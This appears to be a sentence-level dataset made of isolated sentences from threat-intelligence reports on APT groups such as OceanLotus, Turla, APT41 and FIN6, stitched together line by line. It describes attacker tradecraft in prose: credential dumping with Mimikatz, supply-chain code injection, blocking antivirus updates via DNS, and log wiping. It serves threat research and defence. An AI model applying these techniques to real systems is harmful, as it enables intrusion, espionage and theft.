However , as this recent campaign indicates , the NewsBeef APT appears to have shifted its intrusion toolset away from BeEF and towards macro-enabled malicious Office documents , PowerSploit , and Pupy .
Despite this shift in toolset , the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net .
Its attack activities can be traced back to April 2012 .
The OceanLotus reflects a very strong confrontational ability and willing to attack by keep evolving their techniques .
These APT attacks and adopting confrontation measures will exist for a long time .
OceanLotus’ targets are global .
OceanLotus have been actively using since at least early 2018 .
OceanLotus malware family samples used no earlier than 2017 .
We identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
it is clear that the OceanLotus group works during weekdays and takes a break during the weekends .
The group was first revealed and named by SkyEye Team in May 2015 .
OceanLotus's targets include China's maritime institutions , maritime construction , scientific research institutes and shipping enterprises .
RedDrip Team (formerly SkyEye Team) has been to OceanLotus to keep track of high strength , groupactivity , found it in the near future to Indochinese Peninsula countries since 2019 On April 1 , 2019 , RedDrip discovered a Vietnamese file name Hop dong sungroup.rar in the process of daily monitoring the attack activities of the OceanLotus .
COCCOC is a Vietnam was founded in 2013 .
In fact , according to reports of various security vendors , OceanLotus also attacked several countries , including Cambodia , Thailand , Laos , even some victims in Vietnam , like opinion leaders , media , real estate companies , foreign enterprises and banks .
Unlike the 2016 variants of Ratsnif that stored all packets to a PCAP file .
these threat actors targeted a number of government agencies Threat actors targeted a number of government agencies in East Asia .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT .
Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
The dropped PE file has the distinctive file name 8.t” .
The last process is utilized as part of the loading process for Cotx RAT and involves the legitimate Symantec binary noted above .
These conflicts have even resulted in Haftar leading an attack on the capital city in April .
The attackers have targeted a large number of organizations globally since early 2017 .
Attackers were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Group's targets include high-profile entities such as parliaments , senates , top state offices and officials , political science scholars , military and intelligence agencies , ministries , media outlets , research centers , election commissions , Olympic organizations , large trading companies , and other unknown entities .
Cisco Talos recently published a blogpost describing targeted attacks in the Middle East region which we believe may be connected .
Operation Parliament appears to be another symptom of escalating tensions in the Middle East region .
The attackers have taken great care to stay under the radar , imitating another attack group in the region .
With deception and false flags increasingly being employed by threat actors , attribution is a hard and complicated task that requires solid evidence , especially in complex regions such as the Middle East .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
We refer to this campaign and the associated actor as Operation Kingphish Malik” , in one of its written forms in Arabic , translates to King” .
It is worth noting that in December 2016 ,Amnesty International published an investigation into another social engineering campaign perpetrated by a seemingly fake human rights organization known as Voiceless Victims , which targeted international human rights and labour rights organizations campaigning on migrant workers’ rights in Qatar .
It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
In the course of this email correspondence , the attacker — Safeena” — then sent what appeared to be invitations to access several documents on Google Drive .
The attackers were meticulous in making their phishing page as credible as possible .
Among the targets of this campaign is the International Trade Union Confederation (ITUC) .
Both in the attacks against ITUC and in other occasions , Operation Kingphish approached selected targets over social media , prominently Facebook , and engaged in chat conversations with them on and off , sometimes over a period of several months .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
While there is a clear underlying Qatar migrant workers theme in Operation Sheep , it is also hypothetically possible that these attacks could have been perpetrated by a malicious actor affiliated to a different government with an interest in damaging the reputation of the State of Qatar .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
This paper will cover the discovery of this campaign , dubbed ‘Operation Sheep’ , and an analysis of SWAnalytics .
In mid-September , an app named ‘Network Speed Master’ stood out on our radar with its rather unusual behavior patterns .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications ,the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
Operation Sheep is the first campaign we have observed in the wild that abuses similar concept since our MitD publication .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
Data points span from September 2018 to January 2019 where we observed over 17 million downloads in just five months .
In China alone , we have seen underground market sheep shavers” ported SMS rogue marketing strategy to spread Alipay Red Packet referral URL links .
In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities , like the military , governments , defense industries , and the media .
We believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
We found two malicious iOS applications in Operation Pawn Storm .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
The obvious goal of the SEDNIT-related spyware is to steal personal data , record audio , make screenshots , and send them to a remote command-and-control (C&C) server .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
To learn more about this campaign , you may refer to our report , Operation Pawn Storm Using Decoys to Evade Detection .
Additionally , we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle .
Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique .
This technique was also observed against a government organizations in the Middle East and North African region .
Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS-Forth network from an operational command and control (C2) node .
Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24 , five days after the statement was publicly released .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) .
The dropper first appeared in mid-July , suggesting that this APT activity is potentially ongoing , with Turla actively targeting G20 participants and/or those with interest in the G20 , including member nations , journalists , and policymakers .
Turla is a well-documented , long operating APT group that is widely believed to be a Russian state-sponsored organization .
Turla is perhaps most notoriously suspected as responsible for the breach of the United States Central Command in 2008 .
More recently Turla was accused of breaching RUAG , a Swiss technology company , in a public report published by GovCERT.ch .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
Assuming this variant of KopiLuwak has been observed in the wild , there are a number of ways it may have been delivered including some of Turla’s previous attack methods such as spear phishing or via a watering hole .
This could include diplomats , experts in the areas of interest related to the Digital Economy Task Force , or possibly even journalists .
Turla's goal could include diplomats , experts in the areas of interest related to the Digital Economy Task Force , or possibly even journalists .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
Despite the added capabilities , we still agree with Kaspersky that this backdoor is likely used as an initial reconnaissance tool and would probably be used as a staging point to deploy one of Turla’s more fully featured implants .
Turla is a complex cyberattack platform focused predominantly on diplomatic and government-related targets , particularly in the Middle East , Central and Far East Asia , Europe , North and South America and former Soviet bloc nations .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
Moreover , Turla now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .
Winnti's mode of operation: to collect information on the organizational charts of companies , on cooperating departments , on the IT systems of individual business units , and on trade secrets , obviously .
Hackers usually take precautions , which experts refer to as Opsec .
The Winnti group’s Opsec was dismal to say the least .
This mode of operation is typical of many hacker groups—and especially of Winnti .
They are a very , very persistent group , ” says Costin Raiu , who has been watching Winnti since 2011 .
Raiu and his team have followed the digital tracks left behind by some of the Winnti hackers .
One government official puts it very matter-of-factly: Winnti is very specific to Germany .
By 2014 , the Winnti malware code was no longer limited to game manufacturers .
Winnti is targeting high-tech companies as well as chemical and pharmaceutical companies .
Winnti is attacking companies in Japan , France ,the U.S. and Germany .
The Winnti hackers broke into Henkel’s network in 2014 .
Henkel confirms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions .
Far from attacking Henkel and the other companies arbitrarily , Winnti takes a highly strategic approach .
The hackers behind Winnti have also set their sights on Japan’s biggest chemical company , Shin-Etsu Chemical .
In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 .
Winnti hackers also penetrated the BASF and Siemens networks .
Thanks to this tool , we found out back in March 2019 that the Bayer pharmaceutical group had been hacked by Winnti .
At Gameforge , the Winnti hackers had already been removed from the networks when a staff member noticed a Windows start screen with Chinese characters .
To witnesses , the spy appears to be running a program showing videos (e.g VLC) , presenting slides (Prezi) , playing a computer game (Breakout2 ,2048) or even running a fake virus scanner .
From the time of file creation , the attacker started working at least as early as July 2018 .
The link to feeds.rapidfeeds.com left in its XML configuration file was also mentioned by Kaspersky’s report in the reference section , which confirms that the APT-C-09 group keeps updating its C2 configuration channel and the recent one reserves some past features .
For example , Donot and Bitter disguised as Kashmiri Voice to attack Pakistan , Transparent Tribe attacked India with decoy document regarding terrorist attacks in Kashmir .
Considering APT-C-09 , Bitter and Donot have carried out targeted attacks against China , we must take actions in advance and keep a close eye on their recent activities .
APT41 espionage operations against the healthcare , high-tech , and telecommunications sectors include establishing and maintaining strategic access , and through mid-2015 , the theft of intellectual property .
FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions , particularly against the video game industry , including stealing source code and digital certificates , virtual currency manipulation , and attempting to deploy ransomware .
APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions .
Based on early observed activity , consistent behavior , and APT41's unusual focus on the video game industry , we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests .
APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed .
Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely statesponsored activity .
Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years , including: France , India , Italy , Japan , Myanmar , the Netherlands , Singapore , South Korea ,South Africa , Switzerland , Thailand , Turkey , the United Kingdom , and the United States (Figure 1) .
APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities .
We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but away from direct intellectual property theft .
In 2014 , APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions , demonstrating that they could balance different objectives simultaneously .
Since 2017 , APT41's activities have included a series of supply chain compromises .
The group also targeted companies involved in producing motherboards , processors , and server solutions for enterprises .
Since 2013 , APT41 has targeted organizations involved in the research , development , and sale of computer components used for machine-learning , autonomous vehicles , medical imaging , and the consumer market .
In a 2014 compromise , APT41 targeted a European conglomerate and specifically focused on systems physically located in China .
In spring 2015 , APT41 targeted information related to two entities undergoing a merger announced the previous year .
Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region .
Targeted telecom companies spanned several countries , and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity .
In July and August 2016 , APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content .
This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong .
APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails , although social engineering content does not always correlate with targeted users or organizations .
In 2015 , APT41 targeted a Japanese media organization with a lure document (Figure 3) titled 中東呼吸器症候 群(MERS)の予防 , ” which translates to Prevention of Middle East Respiratory Syndrome (MERS) .
APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the group's capacity to collect sensitive and highly valuable intellectual property (IP) ,although we have not observed evidence of IP theft since late 2015 .
Unlike other observed Chinese espionage operators , APT41 conducts explicit financially motivated activity , which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests .
Although APT41 initially targeted the parent company , 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices .
In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear .
In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
This provides another connection between the targeting of the cryptocurrency organizations and video game targeting .
In October 2018 , the group compiled an instance of XMRig , a Monero cryptocurrency mining tool , demonstrating a continued interest in cryptocurrency .
APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia , although global companies based in the United States have also been targeted .
APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry .
We believe these operations include broadly malicious activity that can enable further operations , such as targeting game source code and compromising digital certificates , while other activities are explicitly financially motivated , such as abusing in-game currency mechanics .
In October 2012 , APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO .
Since at least 2012 , APT41 has repeatedly gained access to game development environments within affected companies , including online multiplayer networks , as well as targeting of production database administrators .
APT41 has been observed inserting malicious code into legitimate video game files to distribute malware .
In 2018 , the group inserted CRACKSHOT malware into game files that were signed with legitimate codesigning certificates , most likely indicating access to the production environment , which facilitated a supply chain compromise .
We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits , such as ROCKBOOT , on Windows systems to hide their malware and maintain persistence on victim systems .
Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets .
APT41 has blatantly engaged in financially motivated activity targeting the video game industry , including manipulating virtual currencies .
In a highly unusual case , APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware .
APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware .
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
APT41 has also used credentials compromised in previous operations .
In 2014 , APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service .
Although we do not have first-hand evidence of APT41's compromise of TeamViewer , we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations .
Public reports of supply chain compromises linked to APT41 date back to at least 2014 , and technical evidence associated with these incidents was used to determine a relationship , if any , with APT41 .
As demonstrated in operations targeting the video game industry ,APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files .
In March 2017 , suspected Chinese espionage operators targeted CCleaner , a utility that assists in the removal of unwanted files from a computer .
In July 2017 , APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky .
Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise .
Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers .
Beginning in July 2018 , APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor .
The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform , tying the cryptocurrency targeting to APT41's focus on video game-related targeting .
FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018 .
In May 2016 , APT41 deployed a POISONPLUG sample at a U.S.-based game development studio .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
Either APT41 is operating outside of state control but still working with other Chinese APT malware actors , tools , and infrastructure on a parttime or contractual basis , or APT41 is a full-time .
APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
APT41 has used several malware families that have also been used by other Chinese espionage operators , including variants of HIGHNOON , HOMEUNIX , PHOTO , SOGU , and ZXSHELL , among others .
HIGHNOON , one of the main code families observed being used by APT41 , was also used by APT17 in 2015 to target semiconductor and chemical manufacturers .
HOMEUNIX , another popular backdoor used by APT41 , has been used by at least 14 separate Chinese espionage groups , including APT1 , APT10 , APT17 ,APT18 , and APT20 .
APT41 has used CROSSWALK.BIN , a kernel driver ,to circumvent firewalls and covertly send data .
Another Chinese espionage group used a similar tool , CLASSFON , to covertly proxy network communications in 2011 .
At least two of these malware families , HIGHNOON.CLI and GEARSHIFT , have been used by APT17 and another suspected Chinese espionage group .
APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and nongaming organizations .
In July 2017 , APT41 initiated a TeamViewer session and transferred files that were later deleted .
In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
In May 2018 , APT41 used TeamViewer for initial entry in the compromise of a healthcare company .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
We observed APT41 using a compromised account to create a scheduled task on a system , write a binary component of HIGHNOON containing the payload and C&C information to disk , and then modify the legitimate Windows WMI Performance Adaptor (wmiApSrv) to execute the HIGHNOON payload .
The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors .
APT41 uses multiple methods to perform lateral movement in an environment , including RDP sessions , using stolen credentials , adding accounts to User and Admin groups , and password brute-forcing utilities .
To maintain presence , APT41 relies on backdoors , a Sticky Keys vulnerability , scheduled tasks , bootkits , rootkits , registry modifications , and creating or modifying startup files .
APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors .
APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online .
APT41 also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor , APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions .
Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1 .
APT41 has been observed creating a RAR archive of targeted files for exfiltration .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain .
During multiple engagements , APT41 attempted to remove evidence of some of its activity by deleting Bash histories , clearing Windows security and system events , and modifying DNS management to avoid anti-virus detections .
Explicit financially-motivated targeting is unusual among Chinese statesponsored threat groups , and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward .
APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance .
For example , the group has repeatedly targeted call record information at telecom companies .
APT41 has established and maintained strategic access to organizations in the healthcare , high-tech , and telecommunications sectors .
The group’s financially motivated activity has primarily focused on the video game industry , where APT41 has manipulated virtual currencies and even attempted to deploy ransomware .
In another instance ,APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns .
Interestingly , despite the significant effort required to execute supply chain compromises and the large number of affected organizations , APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers .
Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs .
The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations .
APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions ,including publicly available utilities , malware shared with other Chinese espionage operations , and tools unique to the group .
Once in a victim organization , APT41 can leverage more sophisticated TTPs and deploy additional malware .
APT41 often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims .
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems .
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
Like other Chinese espionage operators , APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015 .
This shift , however , has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
With the contents of the emails , included links and decoy PDFs all involving taxes , the attackers are apparently targeting the financial departments of organizations in the Balkans region .
Some parts of the campaign were briefly described by a Serbian security provider in 2016 and the Croatian CERT in 2017 .
The campaign has been active at least from January 2016 to the time of writing the most recent detections in our telemetry are from July 2019 .
Our findings show that the mentioned attacks have been orchestrated and we consider them a single long-term campaign that spans Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
According to our telemetry , the campaign spreading these tools has been live since 2016 , with the most recent detections as late as in July 2019 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive ,disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
Via the BalkanDoor backdoor ,the attacker sends a backdoor command to unlock the screen… and using BalkanRAT , they can do whatever they want on the computer .
The BalkanDoor backdoor does not implement any exfiltration channel .
APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
Interestingly , some of the APT41's POISONPLUG malware samples leverage the Steam Community website associated with Valve , a video game developer and publisher .
The campaign targeting accountants in the Balkans shows some similarities with a campaign aimed at Ukrainian notaries reported in 2016 .
Based on the Let’s Encrypt certificate issuance date , we believe this campaign to be active from May 2019 .
One of the domains uncovered during the investigation was identified by the Chinese security vendor CERT 360 as being part of the BITTER APT campaign in May 2019 .
Further analysis of the BITTER APT’s infrastructure uncovered a broader phishing campaign targeting other government sites and state-owned enterprises in China .
Further investigation revealed approximately 40 additional sites , all of which appear to be targeting the government of China and other organisations in China .
We expect to see BITTER APT continuing to target the government of China by employing spoofed login pages designed to steal user credentials and obtain access to privileged account information .
This domain and IP address has been previously associated with the BITTER APT and targeting government agencies in China with phishing attacks ,based on reporting from 360-CERT .
At the time of analysis , the subdomains did not host a website; however ,based on BITTER APT group’s targeting patterns ,it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
BITTER APT campaigns are primarily targeting China , Pakistan and Saudi Arabia historically .
As part of its ongoing research initiatives ,the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China .
360 Threat Intelligence Center has reported on related indicators being attributed to BITTER APT a South Asian country suspected Indian APT in open source reporting .
China Chopper is a tool that has been used by some state-sponsored actors such as Leviathan and Threat Group-3390 , but during our investigation we've seen actors with varying skill levels .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
Cisco Talos discovered significant China Chopper activity over a two-year period beginning in June 2017 , which shows that even nine years after its creation , attackers are using China Chopper without significant modifications .
Here , we investigate a campaign targeting an Asian government organization .
We observed another campaign targeting an organisation located in Lebanon .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The attacker obtains the required privileges and launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server .
The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims .
From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts .
We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Cloud Atlas dropped its validator” implant named PowerShower” directly ,after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage .
Cloud Atlas remains very prolific in Eastern Europe and Central Asia .
During its recent campaigns , Cloud Atlas used a new polymorphic” infection chain relying no more on PowerShower directly after infection , but executing a polymorphic HTA hosted on a remote server , which is used to drop three different files on the local system .
The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s .
In addition , the anonymous cybersecurity experts referenced in the article connected the malicious Gamaredon Group actors with Russian state-sponsored hackers .
In one article published in the Kharkiv Observer – an independent Ukranian online publication – an unnamed source stated that even the Ukrainian Presidential Administration has been attacked by malware developed by the Gamaredon Group .
Gamaredon Group primarily target Ukrainian organizations and resources using spear-phishing attacks , and they use military or similar documents as bait .
Once they have found a victim , they then deploy remote manipulation system binaries (RMS) via self-extracting archives and batch command files .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
During a recent incident response investigation , our team identified new attacks by the financially motivated attack group ITG08 , also known as FIN6 .
More recently , ITG08 has been observed targeting e-commerce environments by injecting malicious code into online checkout pages of compromised websites — a technique known as online skimming — thereby stealing payment card data transmitted to the vendor by unsuspecting customers .
This tool ,a TTP observed in ITG08 attacks since 2018 , is sold on the dark web by an underground malware-as-a-service (MaaS) provider .
ITG08 is an organized cybercrime gang that has been active since 2015 , mostly targeting pointof-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector in the U.S. and Europe .
Past campaigns by ITG08 using the More_eggs backdoor were last reported in February 2019 .
Attackers use it to create , expand and cement their foothold in compromised environments .
Lastly , ITG08 used Comodo code-signing certificates several times during the course of the campaign .
